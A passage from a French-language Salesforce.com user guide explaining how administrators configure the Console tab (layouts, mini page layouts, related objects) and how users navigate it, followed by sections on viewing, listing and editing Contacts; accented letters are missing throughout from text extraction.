Qu'est-ce que la console ?
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

La console est un onglet associant une vue de liste et les enregistrements correspondants dans un cran prsentant diffrents
cadres, de faon ce que les utilisateurs aient toutes les informations dont ils ont besoin lorsqu'ils utilisent Salesforce.com.
l'aide de la console, les utilisateurs peuvent rechercher, afficher et modifier des enregistrements tels que des requtes, des
comptes et des contacts en seulement quelques clics et sans avoir passer d'un cran un autre. Les administrateurs choisissent
les informations affiches dans la console afin de rpondre la varit et l'volution des besoins de votre entreprise.
Avant de configurer ou d'utiliser la console, reportez-vous Concepts relatifs la console la page 1238 pour connatre la
terminologie propre la console.

Voir aussi :
FAQ sur la console
Configuration de la console
Affichage de la console
Navigation dans la console

Concepts relatifs la console

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Passez en revue la terminologie suivante, qui sert dcrire les composants de l'onglet Console :
Cadres
Sections distinctes de la console. Chacune affiche une vue de liste, une page ou un enregistrement diffrent.
Vue de liste
Cadre suprieur de la console. Il contient une vue de liste des enregistrements, dtermine par des critres spcifiques.
Les vues de liste que vous pouvez slectionner pour affichage dans l'onglet Console sont les mmes que celles dfinies
dans les onglets des autres objets. Vous ne pouvez pas crer de vue de liste dans la console.
Vue dtaille
Cadre central de la console. Il contient la vue de page de dtails de l'enregistrement slectionn dans l'un des autres
cadres de la console. La vue dtaille affiche les mmes prsentations de page que celles dfinies pour les pages de dtails
de l'objet. Quand un enregistrement est affich dans la vue dtaille, il est en surbrillance dans la vue de liste.

Console

Guide de l'utilisateur | Configuration de la console | 1239

Vue rduite
Cadre de droite de la console. Il contient les enregistrements associs celui affich dans la vue dtaille. Les champs
affichs dans la vue rduite sont dfinis dans les prsentations de page miniatures par un administrateur. La vue rduite
n'apparat pas si l'enregistrement qui figure dans la vue dtaille n'est associ aucun enregistrement.
Encadr
Cadre de gauche de la console. Il affiche les lments rcents, la Corbeille et d'autres composants, tout comme les menus
latraux qui figurent sur chaque page Salesforce.com. Pour afficher ou masquer le menu latral dans la console, cliquez
sur la bordure du cadre.
Objets associs
Enregistrements choisis par un administrateur pour tre affichs dans la vue rduite lorsque la vue dtaille contient des
enregistrements d'un certain type. Par exemple, l'administrateur peut demander l'affichage d'un compte, d'un contact
ou d'un actif associ dans la vue rduite quand une requte figure dans la vue dtaille.
Prsentations de page miniatures
Sous-ensemble des lments d'une prsentation de page existante d'un enregistrement que les administrateurs choisissent
d'afficher dans la vue rduite. Les prsentations de page miniatures hritent des associations type d'enregistrement-profil,
des listes associes, des champs et des paramtres d'accs aux champs de la prsentation de page.
Prsentation de console
Objets choisis par un administrateur pour tre affichs dans le cadre de vue de liste de la console. Par exemple, si un
administrateur ajoute des requtes une prsentation de console, les utilisateurs dont les profils sont attribus cette
prsentation de console peuvent voir les vues de liste des requtes dans le cadre de vue de liste de la console.

Voir aussi :
Qu'est-ce que la console ?
Affichage de la console
Navigation dans la console
Fiche de conseils : Utilisation de la console

Configuration de la console
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer la console :

Autorisation de personnalisation de l'application

Vous pouvez rapidement configurer l'onglet Console afin que les utilisateurs disposent de toutes les informations dont ils ont
besoin sur un seul et mme cran lorsqu'ils utilisent Salesforce.com. Pour configurer la console :
1. Crez des prsentations de console pour dfinir les objets disponibles pour les utilisateurs dans le cadre de vue de liste de
la console.
2. Choisissez les objets associs montrer dans la vue rduite.

Console

Guide de l'utilisateur | Configuration de la console | 1240

3. Dfinissez les prsentations de page miniatures pour personnaliser les champs et les listes associes des objets qui apparaissent
dans la vue rduite de la console.
4. Attribuez des profils la prsentation de console pour donner aux utilisateurs un accs des objets particuliers dans la vue
de liste de la console.
5. Ajoutez l'onglet Console aux sous-applications personnalises afin que les utilisateurs aient accs la console partir de
sous-applications particulires.

Voir aussi :
Qu'est-ce que la console ?
Gestion des prsentations de page
Concepts relatifs la console

Cration de prsentations de console

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer des prsentations de console :

Autorisation de personnalisation de l'application

Pour crer une prsentation de console :

1.
2.
3.
4.
5.
6.

Cliquez sur Configuration Personnalisation Console Prsentations de console.

Cliquez sur Nouveau et slectionnez une prsentation existante cloner, si vous le souhaitez.
Saisissez le nom de la nouvelle prsentation.
Cliquez sur Enregistrer.
Cliquez sur Modifier dans la section Vues de liste slectionnes.
Pour ajouter des objets une prsentation ou en supprimer, slectionnez un objet, puis cliquez sur la flche Ajouter ou
Supprimer.
Un utilisateur ne peut afficher dans le cadre de vue de liste de la console que les objets ajouts la prsentation de console
laquelle leur profil est attribu.

7. Cliquez sur Enregistrer.

8. Ensuite, choisissez les objets associs montrer dans la vue rduite de la console.

Voir aussi :
Gestion des prsentations de console

Console

Guide de l'utilisateur | Configuration de la console | 1241

Slection d'objets associs pour la Vue de console min.

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer la console :

Personnaliser l'application

Vous pouvez choisir les objets associs qui apparatront dans la vue rduite de la console, mais vous ne pouvez choisir que des
objets ayant une relation de recherche avec l'objet principal. Par exemple, partir de l'objet requtes, vous pouvez choisir
Compte et Contact parce que les requtes comportent des champs de recherche de compte et de contact. Pour choisir les objets
associs :
1. Cliquez sur Configuration Personnaliser et slectionnez un objet standard, ou cliquez sur Configuration Dvelopper
Objets et slectionnez un objet personnalis.
L'objet standard ou personnalis slectionn cette tape reprsente l'enregistrement dans la vue dtaille de la console,
tandis que les objets associs dans la vue rduite reprsentent les enregistrements associs.
2. Cliquez sur Prsentations de page et choisissez un nom de prsentation de page.
3. Cliquez sur Vue de console min..
4. Slectionnez les enregistrements associs l'enregistrement dans la vue dtaille qui doivent tre affichs dans la vue rduite.
Vous ne pouvez slectionner des objets que s'ils sont dfinis comme disposant de champs de relation de recherche figurant
dans la prsentation de page.
Vous pouvez modifier l'ordre d'affichage des objets associs dans la vue rduite en cliquant sur les flches Haut et Bas.
5. Cliquez sur Enregistrer.
6. Ensuite, dfinissez les prsentations de page miniatures pour prciser quels champs et listes associes afficher pour les objets
associs de la vue rduite.
Remarque: Vous ne pouvez pas choisir d'objets associs pour la Prsentation de requtes cltures ou les prsentations
Page de consignation de requte et Page d'affichage des requtes sur le portail libre-service.

Voir aussi :
Configuration de la console
Concepts relatifs la console

Console

Guide de l'utilisateur | Configuration de la console | 1242

Dfinition des prsentations de page miniatures

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer la console :

Personnaliser l'application

Vous pouvez dfinir des prsentations de page miniatures pour les enregistrements qui apparaissent dans la vue rduite de la
console et dans les dtails de placement et les prsentations d'vnement. Une prsentation de page miniature comporte un
sous-ensemble des lments d'une prsentation de page existante. Les prsentations de page miniatures hritent des associations
type d'enregistrement-profil, des listes associes, des champs et des paramtres d'accs aux champs de la prsentation de page
associe. Les champs visibles et les listes associes de la prsentation de page miniature peuvent tre personnaliss, ce qui n'est
pas le cas des autres lments hrits de la prsentation de page associe, qui ne peuvent pas tre modifis sur la prsentation
de page miniature.
La prsentation de page miniature d'vnement est utilise pour le plan des dtails d'vnement et pour modifier les prsentations,
mais non pour la console. Les listes associes dans les prsentations de page miniature s'affichent uniquement dans la console,
pas dans les dtails de placement.
Pour dfinir une prsentation de page miniature :
1. Cliquez sur Configuration Personnaliser et slectionnez un objet standard, ou cliquez sur Configuration Dvelopper
Objets et slectionnez un objet personnalis.
2. Cliquez sur Prsentations de page et choisissez un nom de prsentation de page.
3. Cliquez sur Prsentation de page min.
4. Slectionnez les champs et les listes associes qui seront affichs pour ce type d'enregistrement dans la vue rduite. Choisissez
les champs afficher dans chaque liste associe slectionne.

Vous pouvez slectionner tous les champs disponibles et jusqu' cinq listes associes afficher dans la console. Cependant,
il est recommand de ne slectionner que quelques lments pour viter aux utilisateurs de devoir faire dfiler l'cran
afin de trouver les informations voulues.
Les champs et les listes associes slectionns sont affichs dans la console mme s'ils ne contiennent rien.
Les champs signals par la mention Toujours affich ou Toujours sur la prsentation dans les
prsentations de page sont automatiquement ajouts la prsentation de page miniature et ne peuvent pas tre supprims,
sauf s'ils sont supprims de la prsentation de page.
Les proprits de champ dfinies sur la prsentation de page dterminent celles de la prsentation de page miniature.
Par exemple, si un champ est en lecture seule sur la prsentation de page, il le sera galement sur la prsentation de
page miniature. Pour modifier les proprits des champs de la prsentation de page miniature, vous devez modifier
celles des champs de la prsentation de page. Notez que la console respecte la scurit au niveau du champ dans les
entreprises o celle-ci est disponible.
Pour ajouter ou supprimer des champs, slectionnez un nom de champ et cliquez sur la flche Ajouter ou Supprimer.
Pour modifier l'ordre des champs, slectionnez un nom de champ dans la zone de liste Slectionn, puis cliquez sur la
flche Haut ou Bas. Cliquez sur Enregistrer lorsque vous avez termin.
L'ordre des listes associes sur la prsentation de page dtermine celui des listes associes sur la prsentation de page
miniature. Pour modifier l'ordre des listes associes sur la prsentation de page miniature, vous devez modifier l'ordre
sur la prsentation de page, puis slectionner la prsentation de page miniature et cliquer sur Enregistrer.

Console

Guide de l'utilisateur | Configuration de la console | 1243

5. Cliquez sur Enregistrer.

Remarque: Vous ne pouvez pas dfinir de prsentations de page miniatures pour la Prsentation de requtes cltures
ou les prsentations Page de consignation de requte et Page d'affichage des requtes sur le portail libre-service.
Vous pouvez dfinir des prsentations de page miniature pour l'objet utilisateur, mais vous ne pouvez pas ajouter des
champs standard ou des listes associes. En outre, une prsentation de page miniature personnalise ne s'affiche pas
dans la console.

Voir aussi :
Configuration de la console
Concepts relatifs la console

Attribution des prsentations de console

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour attribuer des prsentations de console :

Autorisation de personnalisation de l'application

Aprs avoir cr des prsentations de console, attribuez-les aux utilisateurs. Les profils utilisateur dterminent la prsentation
de console obtenue par les utilisateurs.
Pour attribuer des prsentations de console :
1.
2.
3.
4.

Cliquez sur Configuration Personnalisation Console Prsentations de console.

Cliquez sur Attribution de prsentations de console.
Dans la liste droulante, slectionnez la prsentation de console attribuer au profil.
Dans la liste droulante, slectionnez les paramtres de visibilit de l'onglet Console pour le profil. Vous ne pouvez
slectionner que les paramtres de visibilit de l'onglet Console pour les profils attribus une prsentation de console.
La visibilit des onglets est dtermine par les paramtres suivants :
Paramtre

Description

Valeur par dfaut active

Affiche l'onglet par dfaut pour les utilisateurs dots de ce

profil. Chaque utilisateur peut remplacer ce paramtre pour
ses connexions. L'onglet Accueil est toujours dfini sur
Valeur par dfaut active.

Valeur par dfaut dsactive

Masque l'onglet par dfaut pour les utilisateurs dots de ce

profil. Chaque utilisateur peut remplacer ce paramtre.

Onglet cach

Masque l'onglet et empche les utilisateurs de remplacer ce

paramtre dans leur version personnalise. Masquer un onglet
ne masque pas les enregistrements correspondants. Pour que

Console

Guide de l'utilisateur | Configuration de la console | 1244

Paramtre

Description
les utilisateurs ne voient pas les enregistrements de ce type,
supprimez l'autorisation de lecture de ce type de donnes.

5. Cliquez sur Enregistrer.

Remarque: Les utilisateurs Enterprise Edition, Unlimited Edition et Developer Edition autoriss personnaliser
l'application peuvent attribuer une prsentation de console un profil via la page de dtails du profil, en cliquant sur
le lien Modifier dans la section Paramtres de la console.

Voir aussi :
Gestion des prsentations de console

Personnalisation des prsentations de console

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour personnaliser des prsentations de console :

Autorisation de personnalisation de l'application

Pour personnaliser les prsentations de console de votre entreprise :

1. Cliquez sur Configuration Personnalisation Console Prsentations de console.
2. Slectionnez un nom de prsentation.
3. Pour modifier le nom ou la description de la prsentation, cliquez sur Modifier dans la section des dtails de la
prsentation de console.
4. Pour ajouter des objets une prsentation ou en supprimer, cliquez sur Modifier dans la section Vues de liste slectionnes,
slectionnez un objet et cliquez sur la flche Ajouter ou Supprimer.
Un utilisateur ne peut afficher dans le cadre de vue de liste de la console que les objets ajouts la prsentation de console
laquelle leur profil est attribu.
5. Cliquez sur Enregistrer pour achever la procdure.

Voir aussi :
Gestion des prsentations de console

Console

Guide de l'utilisateur | Affichage de la console | 1245

Gestion des prsentations de console

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier, supprimer et attribuer des prsentations Autorisation de personnalisation de l'application
de console :

Les prsentations de console dfinissent les objets disponibles pour les utilisateurs dans le cadre de vue de liste de la console.
Par exemple, pour que les utilisateurs visualisent les vues de liste de requtes et de contacts dans la console, vous devez ajouter
ces requtes et ces contacts une prsentation de console, puis attribuer cette prsentation de console aux profils utilisateur
appropris. Un utilisateur ne peut afficher dans le cadre de vue de liste de la console que les objets ajouts la prsentation de
console laquelle leur profil est attribu.
partir de la page de liste des prsentations de console, accessible en cliquant sur Configuration Personnalisation
Console Prsentations de console, vous pouvez effectuer les oprations suivantes :

Cliquez sur Nouveau pour crer des prsentations ; reportez-vous Cration de prsentations de console la page 1240.
Cliquez sur Modifier pour modifier une prsentation ; reportez-vous Personnalisation des prsentations de console la
page 1244.
Cliquez sur Attribution de prsentations de console pour attribuer des prsentations de console des profils ; reportez-vous
Attribution des prsentations de console la page 1243.

Voir aussi :
Configuration de la console

Affichage de la console
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Vous pouvez commencer utiliser l'onglet Console ds que l'administrateur l'a configur comme indiqu dans Configuration
de la console la page 1239.
Pour afficher la console, cliquez sur l'onglet Console. Pour quitter la console, cliquez sur n'importe quel autre onglet.
La console n'affiche pas de donnes si aucun enregistrement ne figure dans la vue de liste slectionne.
Remarque: Vous ne pouvez accder l'onglet Console que si l'administrateur a attribu votre profil utilisateur une
prsentation de console et dfini le paramtre de visibilit de l'onglet Console sur Valeur par dfaut active ou Onglet
cach. Si le paramtre de visibilit de l'onglet Console est dfini sur Onglet cach, vous pouvez personnaliser l'affichage

Console

Guide de l'utilisateur | Navigation dans la console | 1246

afin de voir l'onglet Console. Pour plus d'informations, reportez-vous Personnalisation de votre affichage la page
30.

Voir aussi :
FAQ sur la console
Qu'est-ce que la console ?
Navigation dans la console

Navigation dans la console

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

L'lment sur lequel vous cliquez dans l'onglet Console dtermine le cadre dans lequel un enregistrement s'affiche.
Dans la vue dtaille, cliquer sur :

Les boutons ou les liens de l'enregistrement permet de les afficher dans cette vue.

Lien vers cette page (

Vue imprimable (

Personnaliser la page ( ) vous permet de personnaliser l'affichage des listes associes dans la vue dtaille de
l'enregistrement. Pour plus d'informations, reportez-vous Personnalisation de votre affichage la page 30.

Aide relative cette page ( ) affiche une page d'aide en ligne pour l'enregistrement.

Envoyer cette page par e-mail ( ) affiche un lien vers l'enregistrement dans un e-mail.
) affiche l'enregistrement et son URL dans une nouvelle fentre de navigateur.

) affiche une vue imprimable de l'enregistrement dans une fentre contextuelle.

Dans la vue rduite, cliquer sur :

Les liens permet d'afficher l'enregistrement dans la vue dtaille. Les enregistrements associs apparaissent dans la
vue rduite.
Afficher permet d'afficher l'intgralit de l'enregistrement dans la vue dtaille.
Modifier permet d'afficher une page de modification miniature dans la vue rduite.
Pour modifier un champ absent de la page de modification miniature, cliquez sur Afficher pour afficher l'intgralit
de l'enregistrement dans la vue dtaille, puis sur Modifier dans la vue dtaille.

En afficher plus sous une liste associe permet d'afficher dans la vue rduite davantage d'enregistrements rpertoris
dans la liste associe. L'option En afficher plus affiche cinq enregistrements supplmentaires chaque fois que vous
cliquez dessus (100 au maximum).
Remarque: La vue rduite n'apparat pas si l'enregistrement qui figure dans la vue dtaille n'est associ
aucun enregistrement.

Console

Guide de l'utilisateur | Navigation dans la console | 1247

Dans la vue de liste, cliquer sur :

Un lien permet d'afficher l'enregistrement dans la vue dtaille.

Actualiser permet de rgnrer la vue de liste avec toutes les mises jour effectues sur les enregistrements depuis
que vous consultez la liste.
Un en-tte de colonne permet de trier cette colonne par ordre croissant. Cliquez de nouveau sur l'en-tte pour trier
la colonne par ordre dcroissant.
Une lettre en bas de la vue de liste permet de filtrer vos enregistrements de vue de liste en fonction de cette lettre.
moins ou plus en bas de la vue de liste permet d'afficher une liste plus ou moins longue.
Page prcdente ou Page suivante en bas de la vue de liste permet d'afficher les lments de la page prcdente ou
de la page suivante de la liste.
Pour plus d'informations, reportez-vous Utilisation de la vue de liste de console la page 1247.

Dans le menu latral, cliquer sur :

La bordure du cadre de gauche ouvre le menu latral dans la console. Cliquez de nouveau sur la bordure du cadre de
gauche pour masquer le menu latral.
Un enregistrement sous l'intitul lments rcents affiche l'enregistrement dans la vue dtaille.
Calendrier affiche le calendrier dans la vue dtaille.
Corbeille affiche la Corbeille dans la vue dtaille.

Voir aussi :
FAQ sur la console
Qu'est-ce que la console ?
Concepts relatifs la console
Affichage de la console
Affichage et modification de requtes
Utilisation de la vue de liste de console

Utilisation de la vue de liste de console

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

La vue de liste de la console vous permet d'effectuer rapidement certaines actions dans Salesforce.com, sans quitter la console.
Afficher les vues de liste
Dans la liste droulante situe en haut gauche du cadre de vue de liste, slectionnez un objet, puis une vue de liste de
l'objet, afficher dans le cadre de vue de liste de la console. Vous ne pouvez pas crer de vue de liste dans la console.
Cliquez sur Actualiser pour rgnrer la vue de liste avec toutes les mises jour effectues sur les enregistrements depuis
que vous consultez la liste. Le bouton Actualiser change automatiquement de couleur pour signaler que des mises jour
ont t appliques des enregistrements de la vue de liste.

Console

Guide de l'utilisateur | Navigation dans la console | 1248

Les enregistrements modifis dans la vue dtaille apparaissent en italique dans la vue de liste. Vous savez ainsi quels
enregistrements vous avez modifis dans la vue de liste.
Recherche
Saisissez des mots-cls dans la zone de recherche situe au-dessus de la vue de liste, puis cliquez sur OK pour effectuer
une recherche avance dans tous les enregistrements interrogeables auxquels vous avez accs dans votre entreprise. Les
termes de la recherche avance sont considrs comme des entits indpendantes (et non comme des phrases), qui peuvent
tre trouves dans des champs indexs distincts d'un enregistrement. Par consquent, lancer une recherche avance sur
Pat Powers permet de trouver un contact rpondant au nom de Pat P Powers ainsi qu'un contact nomm Pat Smith
et dont l'adresse e-mail est smith@powers.com . Les rsultats de la recherche apparaissent dans la vue dtaille.
Crer des enregistrements
Dans la liste droulante Nouveau, slectionnez un objet pour crer un enregistrement. Les nouvelles pages d'enregistrement
apparaissent dans la vue dtaille.
Afficher les lments rcents
La liste droulante lments rcents permet d'afficher n'importe lequel des 10 derniers enregistrements consults. Les
lments rcents apparaissent dans la vue dtaille.
Effectuer des actions en masse
Cochez la case en regard des lments dans la vue de liste et, dans la liste droulante Action en masse, choisissez l'action
appliquer tous les enregistrements slectionns.
Si vous effectuez une action en masse sur plus de 200 enregistrements en utilisant Internet Explorer, vous risquez d'tre
automatiquement dconnect de Salesforce.com.
Remarque: La console n'affiche pas de donnes si aucun enregistrement ne figure dans la vue de liste slectionne.

Voir aussi :
Qu'est-ce que la console ?
Concepts relatifs la console
Affichage de la console
Navigation dans la console
Affichage et modification de requtes

Contacts
Prsentation des contacts
Disponible avec : Toutes les ditions

Les contacts sont toutes les personnes associes vos comptes professionnels que vous devez suivre dans Salesforce.com. Vous
pouvez stocker diverses informations pour un contact, telles que les numros de tlphone, les adresses, les titres et les rles
dans une affaire.
L'onglet Contacts affiche une page d'accueil permettant de crer et de trouver rapidement les contacts. Vous pouvez galement
trier et filtrer les contacts l'aide de vues de liste standard et personnalises. En outre, cet onglet vous permet d'afficher et de
modifier les informations dtailles de tous les contacts auxquels vous avez accs.

Voir aussi :
Page d'accueil des contacts
Prsentation des comptes

Page d'accueil des contacts

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher l'onglet Contact :

Autorisation de lecture sur les contacts

Pour afficher des contacts :

Autorisation de lecture sur les contacts

Pour crer des contacts :

Autorisation de cration sur les contacts

Un clic sur l'onglet Contacts affiche la page d'accueil des contacts.

Dans la section Vues des contacts, slectionnez une vue dans la liste droulante pour accder directement cette page de
liste ou cliquez sur Crer une nouvelle vue pour dfinir votre propre vue personnalise.
Dans la section Contacts rcents, slectionnez un lment de la liste droulante pour afficher une liste rduite des contacts
correspondant le mieux ce critre. Dans la liste, vous pouvez cliquer sur le nom de l'un des contacts pour accder directement
aux dtails le concernant. Cliquez alternativement sur les liens Afficher 25 lments et Afficher 10 lments pour changer
le nombre d'lments affichs. Les champs que vous voyez apparatre dpendent de la prsentation de recherche de l'onglet
Contacts dfinie par l'administrateur et des paramtres de scurit relatifs aux champs (disponibles exclusivement dans
Enterprise Edition, Unlimited Edition et Developer Edition). Voici les options disponibles pour les contacts rcents :

Contacts

Guide de l'utilisateur | Affichage des listes de contacts | 1250

Option

Description

Affich rcemment

Les dix ou vingt-cinq derniers contacts affichs, en

commenant par les contacts consults le plus rcemment.
Cette liste provient des lments rcents et contient les
enregistrements dont vous tes responsable et ceux des autres
utilisateurs.

Cr rcemment

Les dix ou vingt-cinq derniers contacts crs, en commenant

par les contacts crs le plus rcemment. Cette liste ne
contient que les enregistrements dont vous tes responsable.

Modifi rcemment

Les dix ou vingt-cinq derniers contacts mis jour, en

commenant par les contacts mis jour le plus rcemment.
Cette liste ne contient que les enregistrements dont vous
tes responsable.

Sous Cration rapide, remplissez les champs pour ajouter un nouveau contact. Vous pouvez galement cliquer sur Nouveau
prs de l'intitul Contacts rcents pour crer un contact.
Sous Rapports, cliquez sur le nom du rapport que vous souhaitez afficher.
Slectionnez l'un des liens sous Outils de contact pour grer vos contacts.

Voir aussi :
Prsentation des contacts
Affichage et modification des contacts
Cration de vues Listes personnalises

Affichage des listes de contacts

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher des contacts :

Autorisation de lecture sur les contacts

Remarque: Si votre administrateur a activ les listes avances, vous pouvez utiliser les outils supplmentaires pour
personnaliser, accder , grer et modifier des donnes de liste.
La page de liste des contacts affiche la liste des contacts dans votre vue actuelle. partir de cette page, vous pouvez afficher
des informations dtailles sur les contacts et accder d'autres informations associes.

Cliquez sur le nom d'un contact pour en afficher les dtails. Cliquez sur Modifier ou sur Suppr pour modifier ou supprimer
le contact. Reportez-vous Affichage et modification des contacts la page 1252.

Contacts

Guide de l'utilisateur | Affichage des listes de contacts | 1251

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Remarque: Dans la plupart des situations, vous pouvez utiliser les comptes personnels comme s'il s'agissait de
contacts. Vous pouvez les inclure dans toutes les vues de liste de contacts, sauf dans la liste Contacts rcents de la
page d'accueil des contacts. Pour plus d'informations, reportez-vous Qu'est-ce qu'un compte personnel ? la page
1048

Cliquez sur Vue imprimable pour afficher la vue de liste actuelle sous un format prt pour l'impression.
Cliquez sur Nouveau contact ou slectionnez Contact dans la liste droulante Crer du menu latral pour crer un contact.
Ces options apparaissent uniquement si vous disposez de l'autorisation de cration sur les contacts.
Cliquez sur un en-tte de colonne pour trier les contacts par ordre croissant en fonction des informations contenues dans
cette colonne. Cliquez de nouveau sur l'en-tte pour trier la colonne par ordre dcroissant.
En haut et en bas de la liste, cliquez sur une lettre pour afficher le contenu de la colonne trie commenant par cette lettre.
Cliquez sur le lien Page suivante (ou Page prcdente) pour passer au groupe de contacts suivant ou prcdent.
Au bas de la vue de liste, cliquez sur moins ou sur plus pour afficher une liste plus courte ou plus longue.
Pour ajouter des contacts une campagne existante, cochez la case en regard des contacts souhaits, puis cliquez sur Ajouter
la campagne. Vous pouvez galement cocher la case situe dans l'en-tte de colonne afin de slectionner tous les
enregistrements affichs, puis cliquer sur Ajouter la campagne. Reportez-vous Ajout de contacts ou de pistes d'une
vue de liste une campagne la page 1177.
Cliquez sur le lien Ouvrir le calendrier en bas de la page pour afficher une vue hebdomadaire d'un calendrier sous la
liste. Ensuite, vous pouvez faire glisser un enregistrement de la liste vers une priode dans le calendrier pour crer rapidement
un vnement associ l'enregistrement. Notez que votre administrateur contrle la disponibilit de la planification par
glisser-dplacer.
Remarque: Dans Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, vous pouvez
accorder un accs plus tendu aux contacts que ne le permet le modle de partage.

Voir aussi :
Personnalisation des paramtres de l'interface utilisateur
Utilisation des listes avances
Utilisation de la modification en ligne dans des listes

Contacts

Guide de l'utilisateur | Affichage et modification des contacts | 1252

Affichage et modification des contacts

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher des contacts :

Autorisation de lecture sur les contacts

Pour modifier des contacts :

Autorisation de modification sur les contacts

Pour modifier des comptes dans des contacts activs pour

utiliser un portail client :

Modifier dans les contacts

ET
Modifier libre-service

Pour modifier des comptes dans des contacts activs pour

utiliser un portail partenaire :

Modifier dans les contacts

ET
Grer les partenaires

Pour visualiser des comptes personnels :

Autorisation de lecture sur les comptes et les contacts

Pour modifier des comptes personnels :

Autorisation de modification sur les comptes et les contacts

Affichage de contacts
Lorsque vous avez localis un contact sur la page d'accueil ou sur les pages de liste de contacts, cliquez sur son nom pour
afficher des informations dtailles. partir de la page de dtails d'un compte professionnel, vous pouvez galement
cliquer sur le nom du contact dans la liste associe Contacts. Tous les contacts des comptes professionnels sont rpertoris
dans la liste associe Contacts. Les comptes personnels n'ont pas de contacts.
Conseil: Si votre organisation a activ les dtails de placement, survolez un champ de recherche dans la page
de dtails pour afficher les principales informations relatives un enregistrement avant de cliquer sur la page de
dtails correspondante.
Modification de contacts
Pour mettre jour un contact, cliquez sur Modifier, puis modifiez les champs que vous souhaitez mettre jour. Lorsque
vous avez termin de modifier le contact, cliquez sur Enregistrer. Vous pouvez galement cliquer sur Enregistrer et
Nouveau pour enregistrer le contact actuel et en crer un nouveau.
Si vous modifiez le champ Nom du compte, toutes les requtes et opportunits associes au contact restent lies au
compte prcdent et ne sont pas transfres vers le nouveau compte. Les nouvelles requtes et opportunits cres pour
le contact sont associes au nouveau compte. En outre, lorsque vous modifiez le compte dans des contacts activs pour
le portail client ou portail partenaire :

Les utilisateurs du portail peuvent accder leurs propres requtes et opportunits partir de leurs comptes prcdents.
Si le contact est un utilisateur libre-service, il peut afficher uniquement les requtes du portail libre-service associes
son compte actuel. Les utilisateurs Self-Service ne peuvent pas afficher les opportunits.

Contacts

Guide de l'utilisateur | Affichage et modification des contacts | 1253

Les rles du portail des Contacts sont automatiquement mis jour pour correspondre au nom du compte vers lequel
ils sont transfrs (sauf s'ils sont des utilisateurs du portail client haut volume, qui n'ont aucun rle). Par exemple, le
rle du portail Utilisateur client du compte A devient Utilisateur client du compte B, car le nom d'un rle du
portail comporte le nom du compte auquel il est associ. Les rles du portail sont uniques pour chaque compte et se
situent sous le rle de responsable de compte dans la hirarchie de rles de votre organisation.
Lorsque vous transfrez un utilisateur du portail partenaire vers un autre compte :
-

Les opportunits de chaque compte sont automatiquement recalcules via la hirarchie des prvisions de votre
organisation.
Toute opportunit appartenant l'utilisateur du portail partenaire est conserve dans le compte prcdent.

Les rles des utilisateurs du portail sont mis jour lorsque vous les transfrez entre les comptes.
Les administrateurs dlgus des utilisateurs partenaires et les administrateurs dlgus des utilisateurs du portail
client peuvent mettre jour les utilisateurs du portail sur tout compte vers lequel ils sont transfrs.
Vous pouvez transfrer des contacts d'un portail partenaire uniquement vers des comptes activs pour un portail
partenaire.

Marquage des contacts

Si les balises ont t actives, cliquez sur Ajouter des balises ou sur Modifier les balises dans la zone Balises directement
sous la barre de titre colore pour marquer l'enregistrement actuel. Si l'enregistrement a dj t balis, cliquez sur un
nom de balise pour afficher une liste de tous les enregistrements contenant cette balise.
Partage
Dans les organisations Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, vous pouvez
partager un contact avec d'autres utilisateurs, groupes ou rles en cliquant sur Partage dans la page de dtails des contacts.
Cette option n'est disponible que lorsque le contact a un compte et que votre entreprise dispose d'un paramtre par dfaut
particulier l'chelle de l'entreprise.
Activation du Libre-service
Dans les organisations Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition, cliquez sur
Activer le libre-service dans la page de dtails du contact pour permettre un contact d'utiliser votre portail libre-service.
Une fois que le contact est activ, cliquez sur Afficher le libre-service sur la page de dtails du contact pour afficher ou
modifier l'accs d'un contact votre portail libre-service.
Activation des utilisateurs du Portail client
Dans les organisations Enterprise Edition et Unlimited Edition o un Portail client a t activ, cliquez sur Activer
l'utilisateur du portail Client dans la page dtails du contact pour permettre un contact d'utiliser votre Portail client.
Une fois le contact activ, cliquez sur Afficher l'utilisateur du portail Client dans la page des dtails du contact pour
afficher ou modifier l'accs d'un contact votre portail Client. Vous pouvez invalider ou dsactiver tout moment un
utilisateur du portail client.
Activation d'utilisateurs partenaires
Si votre organisation a t active avec un PRM ou le portail partenaire, cliquez sur Activer en tant que partenaire pour
activer un contact en tant qu'utilisateur partenaire. Une fois que le contact est activ, cliquez sur Afficher l'utilisateur
du portail Partenaires pour afficher tous les dtails relatifs l'utilisateur partenaire. Si vous mettez jour un contact
associ un utilisateur partenaire, vous ne mettez pas pour autant jour l'utilisateur partenaire. Vous pouvez invalider
ou dsactiver tout moment un utilisateur partenaire.

Contacts

Guide de l'utilisateur | Affichage et modification des contacts | 1254

Connexion en tant qu'utilisateur de portail

Si votre organisation a activ le portail client ou le portail partenaire, vous pouvez cliquer sur Connexion en tant
qu'utilisateur de portail pour rsoudre les problmes rencontrs par un contact activ en utilisant un portail. Lorsque
